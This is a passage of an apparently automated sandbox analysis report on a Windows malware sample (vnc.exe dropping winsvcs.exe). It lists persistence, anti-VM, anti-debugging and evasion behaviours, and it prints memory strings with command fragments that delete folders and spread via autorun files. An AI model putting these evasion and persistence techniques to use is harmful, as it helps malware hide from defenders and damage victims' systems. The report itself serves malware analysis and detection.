Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Microsoft Windows Services

Hooking and other Techniques for Hiding and Protection:

Extensive use of GetProcAddress (often used to hide API calls)

Show sources

Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe

Code function: 8_1_00405CE0 RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

8_1_00405CE0

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Users\user\Desktop\vnc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vnc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\vnc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Found evasive API chain (may stop execution after checking mutex)

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_2-5124

Found evasive API chain (may stop execution after checking volume information)

Show sources

Source: C:\Users\user\Desktop\vnc.exe

Evasive API call chain: GetVolumeInformation,DecisionNodes,Sleep

graph_1-5199

Found stalling execution ending in API Sleep call

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe

Stalling execution: Execution stalls by calling Sleep

graph_2-5222

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp, 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: DIR_WATCH.DLL
Source: winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	Binary or memory string: USEAUTOPLAY=1.LNK.VBS.BAT.JS.SCR.COM.JSE.CMD.PIF.JAR.DLL%LS\%S.LNKAUTORUN.INF_%LS\%S%S\_\%LS.../C RMDIR /Q /S "%LS"CMD.EXE/C MOVE /Y "%LS", "%LS"CMD.EXERB%HS%TEMP%%LS\%D%D%D.EXEMOZILLA/5.0 (MACINTOSH; INTEL MAC OS X 10.9; RV:25.0) GECKO/20100101 FIREFOX/25.0%LS:ZONE.IDENTIFIER%LS\%D%D%D.EXE%LS:ZONE.IDENTIFIER1DYWJZFYGY5DXAQXPGZUJ8SHREFXQ7JCEWBCEDWTTSZCCS9UTHQJBDJEEVI83VQGXRAA228URW5BHKCIIKBCGE37AYVNJJKA6XB4L9REPZ76KASQSSTG1DEERTGFR6MNQJ3PGR4PGXZCGYQW7UEMXRORXCC97QDGA22XXZ274QGCFFYEI2HRS5G1215VEX331MHC1D78VANGC5HQ3N4BSNON6AQ6QNQSVIYAMLVEZYJJJ7M9GP6BNHW3Q5N1GAMYQSVXNH5330XFF0D45F3E2EC83DE3B2E069300974732BA1C5D30LH8F5U2USRJ779TQDY6LMYUM6DGPWH3QOP4BRL51JCC9NGQ71KWHNYODRFFSDZY7M1HUU7MRU4NUMXAHNFBEJHKTZV9HDAL4GFUNBXLPC3BEMKLGAPBF5VWTANQRHBKDVIV3H6FUAKIAPWGCHWVPPDCHYLMURSPGTYCASQWDAZASVZAH2GAAJTWDQQSSJCS14TVUTKIVZD7B67FPRAQJAA3IWARKHVDKDCNFKHFJJSVZHLJUBKRL2ZZCNURDSQPFH6BMBGNG93QYQKDKJ6QVT1MH943MSKVECAXIDQJ4GQK9GPASTKHDH4RG18431620U17032720E18406200PYTHON.EXEPYTHONW.EXEPRL_CC.EXEPRL_TOOLS.EXEVMSRVC.EXEVMUSRVC.EXEXENSE
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp, 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp, 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: VMUSRVC.EXE
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp, 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: SBIEDLL.DLL
Source: winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: USEAUTOPLAY=1.LNK.VBS.BAT.JS.SCR.COM.JSE.CMD.PIF.JAR.DLL%LS\%S.LNKAUTORUN.INF_%LS\%S%S\_\%LS.../C RMDIR /Q /S "%LS"CMD.EXE/C MOVE /Y "%LS", "%LS"CMD.EXERB%HS%TEMP%%LS\%D%D%D.EXEMOZILLA/5.0 (MACINTOSH; INTEL MAC OS X 10.9; RV:25.0) GECKO/20100101 FIREFOX/25.0%LS:ZONE.IDENTIFIERT.EXE%LS\%D%D%D.EXE%LS:ZONE.IDENTIFIERT.EXE1LDFFAJIM7R5F9WHUESKVCAVOKVTHPHXL528VCFDWTHF987ABO6DDYGUYNMKWTWO6BBE4J7Q87PDYXEEGZZHSEUMVFR6MNQJ3PGR4PGXZCGYQW7UEMXRORXCC97QVBUPSXFPOIH5SHPQDXC3KC39XZCAB84EL1W53OADPNGR3JNAGGKY45VQPT4NMYT3JQCP2SMRWEUPLR5OD8JBJ5RTARWFDORKBDK23UEGK5Z0XA9B717E03CF8F2D792BFF807588E50DCEA9D0B1CLPUHYFOFGGYKXWKKMDBNA19HU1WZUJGGHJ4BRL51JCC9NGQ71KWHNYODRFFSDZY7M1HUU7MRU4NUMXAHNFBEJHKTZV9HDAL4GFUNBXLPC3BEMKLGAPBF5VWTANQRQWKGBN7JMQVGL3AAPAXRPMNF8C9M4VPDKOBUCDE1DGUFPKIY8QRBKCLQPGHIKT6HDDDNJQ27ECEHHQCCCHTDT1AGAY8CBERAJAMAKDZDDP3WTTD5CZJI55SG18431620U17032720E18406200PYTHON.EXEPYTHONW.EXEPRL_CC.EXEPRL_TOOLS.EXEVMSRVC.EXEVMUSRVC.EXEXENSERVICE.EXEVBOXSERVICE.EXEVBOXTRAY.EXEVBOXCONTROL.EXEVMWARESERVICE.EXEVMWARETRAY.EXETPAUTOCONN
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp, 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: XENSERVICE.EXE

Tries to detect virtual machines

Show sources

Source: C:\Users\user\Desktop\vnc.exe	Code function: vboxservice.exe vboxservice.exe vboxtray.exe vboxcontrol.exe vmwareservice.exe vmwaretray.exe vmtoolsd.exe vmwareuser.exe		1_2_00405533
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: vboxservice.exe vboxservice.exe vboxtray.exe vboxcontrol.exe vmwareservice.exe vmwaretray.exe vmtoolsd.exe vmwareuser.exe		2_2_00405533

Enumerates the file system

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe	File opened: C:\Documents and Settings\	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	File opened: C:\Documents and Settings\All Users	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	File opened: C:\Documents and Settings\All Users\	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	File opened: C:\Documents and Settings\All Users\Adobe\Acrobat	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	File opened: C:\Documents and Settings\All Users\Adobe\	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	File opened: C:\Documents and Settings\All Users\Adobe	Jump to behavior

Found decision node followed by non-executed suspicious APIs

Show sources

Source: C:\Users\user\Desktop\vnc.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_1-5292

Found dropped PE file which has not been started or loaded

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\BP527HB6\m[1].exe			Jump to dropped file
Source: C:\Windows\T-495050303005030\winsvcs.exe	Dropped PE file which has not been started: C:\Users\user~1\AppData\Local\Temp\393531722713539.exe			Jump to dropped file

Found evaded block containing many API calls

Show sources

Source: C:\Users\user\Desktop\vnc.exe

Evaded block: after key decision

graph_1-5052

Found evasive API chain (may stop execution after accessing registry keys)

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_2-5066
Source: C:\Users\user\Desktop\vnc.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_1-5062

Found evasive API chain (may stop execution after checking a module file name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_8-7302

Found large amount of non-executed APIs

Show sources

Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	API coverage: 5.9 %
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	API coverage: 0.1 %

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe TID: 3372	Thread sleep count: 40 > 30			Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe TID: 3680	Thread sleep time: -420000s >= -60000s			Jump to behavior

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_0040565A memset,memset,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,GetFullPathNameW,CharLowerW,Sleep,Sleep,Sleep,Sleep,PathFindFileNameW,SetFileAttributesW,DeleteFileW,Sleep,CopyFileW,Sleep,Sleep,FindNextFileW,FindClose,	1_2_0040565A
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00403775 GetTickCount,srand,memset,memset,memset,memset,memset,memset,_snwprintf,_snwprintf,_snwprintf,_snwprintf,_snwprintf,_snwprintf,Sleep,_wfopen,fseek,ftell,fclose,SetFileAttributesW,DeleteFileW,Sleep,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,Sleep,SetFileAttributesW,Sleep,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,Sleep,PathFileExistsW,CopyFileW,SetFileAttributesW,Sleep,PathFileExistsW,_wfopen,fprintf,fclose,SetFileAttributesW,Sleep,FindFirstFileW,memset,_snwprintf,SetFileAttributesW,DeleteFileW,Sleep,PathFileExistsW,memset,memset,_snwprintf,_snwprintf,SetFileAttributesW,PathFileExistsW,PathFileExistsW,GetFileAttributesW,memset,_snwprintf,ShellExecuteW,DeleteFileW,memset,_snwprintf,ShellExecuteW,FindNextFileW,FindClose,	1_2_00403775
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_0040565A memset,memset,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,GetFullPathNameW,CharLowerW,Sleep,Sleep,Sleep,Sleep,PathFindFileNameW,SetFileAttributesW,DeleteFileW,Sleep,CopyFileW,Sleep,Sleep,FindNextFileW,FindClose,	2_2_0040565A
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00403775 GetTickCount,srand,memset,memset,memset,memset,memset,memset,_snwprintf,_snwprintf,_snwprintf,_snwprintf,_snwprintf,_snwprintf,Sleep,_wfopen,fseek,ftell,fclose,SetFileAttributesW,DeleteFileW,Sleep,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,Sleep,SetFileAttributesW,Sleep,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,Sleep,PathFileExistsW,CopyFileW,SetFileAttributesW,Sleep,PathFileExistsW,_wfopen,fprintf,fclose,SetFileAttributesW,Sleep,FindFirstFileW,memset,_snwprintf,SetFileAttributesW,DeleteFileW,Sleep,PathFileExistsW,memset,memset,_snwprintf,_snwprintf,SetFileAttributesW,PathFileExistsW,PathFileExistsW,GetFileAttributesW,memset,_snwprintf,ShellExecuteW,DeleteFileW,memset,_snwprintf,ShellExecuteW,FindNextFileW,FindClose,	2_2_00403775
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_00413030 FindFirstFileW,FindNextFileW,FindClose,	9_2_00413030
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_004119A8 FindFirstFileW,FindNextFileW,FindClose,	9_2_004119A8
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_004119AC FindFirstFileW,FindNextFileW,FindClose,	9_2_004119AC
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_00412D6C FindFirstFileW,FindNextFileW,FindClose,	9_2_00412D6C
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_0041160C FindFirstFileW,FindNextFileW,FindClose,	9_2_0041160C
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_00413F58 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	9_2_00413F58
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_00413F58 FindFirstFileW,GetFileAttributesW,FindNextFileW,FindClose,	9_2_00413F58

Contains functionality to query local drives

Show sources

Source: C:\Users\user\Desktop\vnc.exe

1_2_0040599A

Contains functionality to query system information

Show sources

Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe

Code function: 9_2_00415E5C GetSystemInfo,

9_2_00415E5C

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Show sources

Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp, 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: vboxtray.exe
Source: winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: vmwareuser.exe
Source: winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: vmwaretray.exe
Source: vnc.exe, winsvcs.exe, winsvcs.exe, 00000003.00000001.330783142.00400000.00000040.sdmp, winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp, 153661691311498.exe, 00000008.00000003.573296847.002A0000.00000004.sdmp, winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: vmusrvc.exe
Source: winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: vmtoolsd.exe
Source: winsvcs.exe, 00000004.00000002.338797532.00400000.00000040.sdmp	Binary or memory string: UseAutoPlay=1.lnk.vbs.bat.js.scr.com.jse.cmd.pif.jar.dll%ls\%s.lnkautorun.inf_%ls\%s%s\_\%ls.../c rmdir /q /s "%ls"cmd.exe/c move /y "%ls", "%ls"cmd.exerb%hs%temp%%ls\%d%d%d.exeMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0%ls:Zone.Identifier%ls\%d%d%d.exe%ls:Zone.Identifier1DYwJZfyGy5DXaqXpgzuj8shRefxQ7jCEwBCedWttszcCs9uThQJBdJeEvi83vQgxrAa228Urw5BHKCiikBcGe37AYVNjJKA6xb4L9RepZ76KasQSSTg1DeertgFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qdga22XxZ274qGCfFyEi2HRS5G1215vEX331Mhc1D78VANgC5hQ3n4BSnon6aq6qnQSViyAmLvEZyjJj7M9gP6bnhw3q5N1gAMyQSVXNh5330xff0d45f3e2ec83de3b2e069300974732ba1c5d30Lh8F5u2USRj779tQDy6LMYUM6dgPwH3qoP4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrhbkDviv3H6fUaKiaPWGChwvPpdCHyLmURsPgtYCAsqwDAzAsvZAH2GAaJtWdQqsSJCS14tVUTKivzD7B67fPRaqJaa3iWaRkHvDkDcnfkhFJjSvzHLjuBkrL2zzcnUrDsqPfH6bmbGNG93QYQkDkJ6QVt1MH943MSkvEcaXiDQJ4GQk9GPaSTkhDh4rG18431620U17032720E18406200python.exepythonw.exeprl_cc.exeprl_tools.exevmsrvc.exevmusrvc.exexense
Source: winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: vmsrvc.exe
Source: winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: vmwareservice.exe
Source: winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: vboxservice.exe
Source: winsvcs.exe, 0000000B.00000002.630808379.00400000.00000040.sdmp	Binary or memory string: UseAutoPlay=1.lnk.vbs.bat.js.scr.com.jse.cmd.pif.jar.dll%ls\%s.lnkautorun.inf_%ls\%s%s\_\%ls.../c rmdir /q /s "%ls"cmd.exe/c move /y "%ls", "%ls"cmd.exerb%hs%temp%%ls\%d%d%d.exeMozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0%ls:Zone.Identifiert.exe%ls\%d%d%d.exe%ls:Zone.Identifiert.exe1LdFFaJiM7R5f9WhUEskVCaVokVtHPHxL528VcfDWthf987aBo6ddyGuYnMkwtWo6bBe4j7Q87pDYxEEGZzHseUMvFr6MNqj3PGR4PGXzCGYQw7UemxRoRxCC97qVBupsXfPoiH5ShPQdXC3Kc39XzCaB84eL1w53oADPngr3jnAGgKY45vQpt4NmYt3jQCP2smrWEUPLR5oD8jBj5rTArwfdorkbdk23uegK5Z0xa9b717e03cf8f2d792bff807588e50dcea9d0b1cLPuhyFoFggYkXwkkmDbnA19hu1wzuJggHJ4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQrqWkGbn7jMQVGL3aAPAxrpmNf8c9M4VPDkoBuCde1DGufPKiy8QrBkCLqPgHiKt6Hdddnjq27ECehHqCcCHTDt1aGAy8CBERajaMAKdzddp3WttD5Czji55SG18431620U17032720E18406200python.exepythonw.exeprl_cc.exeprl_tools.exevmsrvc.exevmusrvc.exexenservice.exevboxservice.exevboxtray.exevboxcontrol.exevmwareservice.exevmwaretray.exetpautoconn
Source: winsvcs.exe, 00000002.00000002.628452762.0F250000.00000004.sdmp	Binary or memory string: vmbusres.dll\

Program exit points

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe	API call chain: ExitProcess graph end node	graph_2-5156
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	API call chain: ExitProcess graph end node	graph_8-7303
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	API call chain: ExitProcess graph end node	graph_9-17026

Queries a list of all running processes

Show sources

Source: C:\Users\user\Desktop\vnc.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Show sources

Source: C:\Windows\T-495050303005030\winsvcs.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Show sources

Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe

Code function: 8_1_00409C7F _memset,IsDebuggerPresent,

8_1_00409C7F

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Show sources

Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe

Code function: 8_1_0040C0C4 EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

8_1_0040C0C4

Contains functionality to dynamically determine API calls

Show sources

Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe

Code function: 9_2_00417840 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

9_2_00417840

Contains functionality to read the PEB

Show sources

Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_0002083A mov eax, dword ptr fs:[00000030h]	1_2_0002083A
Source: C:\Users\user\Desktop\vnc.exe	Code function: 1_2_00020C9F mov eax, dword ptr fs:[00000030h]	1_2_00020C9F
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_0002083A mov eax, dword ptr fs:[00000030h]	2_2_0002083A
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 2_2_00020C9F mov eax, dword ptr fs:[00000030h]	2_2_00020C9F
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_0002083A mov eax, dword ptr fs:[00000030h]	3_2_0002083A
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 3_2_00020C9F mov eax, dword ptr fs:[00000030h]	3_2_00020C9F
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_0002083A mov eax, dword ptr fs:[00000030h]	4_2_0002083A
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: 4_2_00020C9F mov eax, dword ptr fs:[00000030h]	4_2_00020C9F
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_2_00407AF0 mov eax, dword ptr fs:[00000030h]	9_2_00407AF0

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Show sources

Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe

Code function: 8_1_00408C23 GetProcessHeap,

8_1_00408C23

Contains functionality to register its own exception handler

Show sources

Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_00409966 SetUnhandledExceptionFilter,	8_1_00409966
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Code function: 8_1_00409997 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_1_00409997
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_1_004098F6 SetUnhandledExceptionFilter,	9_1_004098F6
Source: C:\Users\user\AppData\Local\Temp\159753404015476.exe	Code function: 9_1_00409927 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	9_1_00409927

HIPS / PFW / Operating System Protection Evasion:

Creates a process in suspended mode (likely to inject code)

Show sources

Source: C:\Users\user\Desktop\vnc.exe	Process created: C:\Windows\T-495050303005030\winsvcs.exe C:\Windows\T-495050303005030\winsvcs.exe	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	Process created: C:\Users\user\AppData\Local\Temp\153661691311498.exe C:\Users\user~1\AppData\Local\Temp\153661691311498.exe	Jump to behavior
Source: C:\Windows\T-495050303005030\winsvcs.exe	Process created: C:\Users\user\AppData\Local\Temp\159753404015476.exe C:\Users\user~1\AppData\Local\Temp\159753404015476.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\153661691311498.exe	Process created: C:\Windows\T940405959302020\winsvcs.exe unknown

May try to detect the Windows Explorer process (often used for injection)

Show sources

Source: winsvcs.exe, 00000002.00000002.627634389.00AF0000.00000002.sdmp, 159753404015476.exe, 00000009.00000002.630027128.00550000.00000002.sdmp, winsvcs.exe, 0000000B.00000002.630910821.006F0000.00000002.sdmp	Binary or memory string: Progman
Source: winsvcs.exe, 00000002.00000002.627634389.00AF0000.00000002.sdmp, 159753404015476.exe, 00000009.00000002.630027128.00550000.00000002.sdmp, winsvcs.exe, 0000000B.00000002.630910821.006F0000.00000002.sdmp	Binary or memory string: Program Manager
Source: winsvcs.exe, 00000002.00000002.627634389.00AF0000.00000002.sdmp, 159753404015476.exe, 00000009.00000002.630027128.00550000.00000002.sdmp, winsvcs.exe, 0000000B.00000002.630910821.006F0000.00000002.sdmp	Binary or memory string: Shell_TrayWnd

Language, Device and Operating System Detection:

Contains functionality locales information (e.g. system language)

Show sources

Source: C:\Users\user\Desktop\vnc.exe	Code function: GetLocaleInfoA,	1_2_0040D05E
Source: C:\Users\user\Desktop\vnc.exe	Code function: GetLocaleInfoA,	1_2_0040D000
Source: C:\Users\user\Desktop\vnc.exe	Code function: GetLocaleInfoW,	1_2_00411609
Source: C:\Users\user\Desktop\vnc.exe	Code function: _GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,	1_2_0040D408
Source: C:\Users\user\Desktop\vnc.exe	Code function: GetLastError,WideCharToMultiByte,GetLocaleInfoA,	1_2_0041163D
Source: C:\Users\user\Desktop\vnc.exe	Code function: GetLocaleInfoA,_TestDefaultLanguage,	1_2_0040D2A4
Source: C:\Users\user\Desktop\vnc.exe	Code function: EnumSystemLocalesA,	1_2_0040D365
Source: C:\Users\user\Desktop\vnc.exe	Code function: __crtGetLocaleInfoA_stat,	1_2_0041177C
Source: C:\Users\user\Desktop\vnc.exe	Code function: EnumSystemLocalesA,	1_2_0040D3CC
Source: C:\Users\user\Desktop\vnc.exe	Code function: GetLocaleInfoA,	1_2_0040EDB6
Source: C:\Users\user\Desktop\vnc.exe	Code function: GetLocaleInfoA,	1_1_0040D05E
Source: C:\Users\user\Desktop\vnc.exe	Code function: GetLocaleInfoA,	1_1_0040D000
Source: C:\Users\user\Desktop\vnc.exe	Code function: _GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,	1_1_0040D408
Source: C:\Users\user\Desktop\vnc.exe	Code function: GetLocaleInfoW,	1_1_00411609
Source: C:\Users\user\Desktop\vnc.exe	Code function: GetLastError,WideCharToMultiByte,GetLocaleInfoA,	1_1_0041163D
Source: C:\Users\user\Desktop\vnc.exe	Code function: GetLocaleInfoA,_TestDefaultLanguage,	1_1_0040D2A4
Source: C:\Users\user\Desktop\vnc.exe	Code function: EnumSystemLocalesA,	1_1_0040D365
Source: C:\Users\user\Desktop\vnc.exe	Code function: __crtGetLocaleInfoA_stat,	1_1_0041177C
Source: C:\Users\user\Desktop\vnc.exe	Code function: EnumSystemLocalesA,	1_1_0040D3CC
Source: C:\Users\user\Desktop\vnc.exe	Code function: GetLocaleInfoA,	1_1_0040EDB6
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	2_2_0040D05E
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	2_2_0040D000
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoW,	2_2_00411609
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: _GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromLangCountry,_GetLcidFromLanguage,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,	2_2_0040D408
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLastError,WideCharToMultiByte,GetLocaleInfoA,	2_2_0041163D
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,_TestDefaultLanguage,	2_2_0040D2A4
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: EnumSystemLocalesA,	2_2_0040D365
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: __crtGetLocaleInfoA_stat,	2_2_0041177C
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: EnumSystemLocalesA,	2_2_0040D3CC
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	2_2_0040EDB6
Source: C:\Windows\T-495050303005030\winsvcs.exe	Code function: GetLocaleInfoA,	2_1_0040D05E
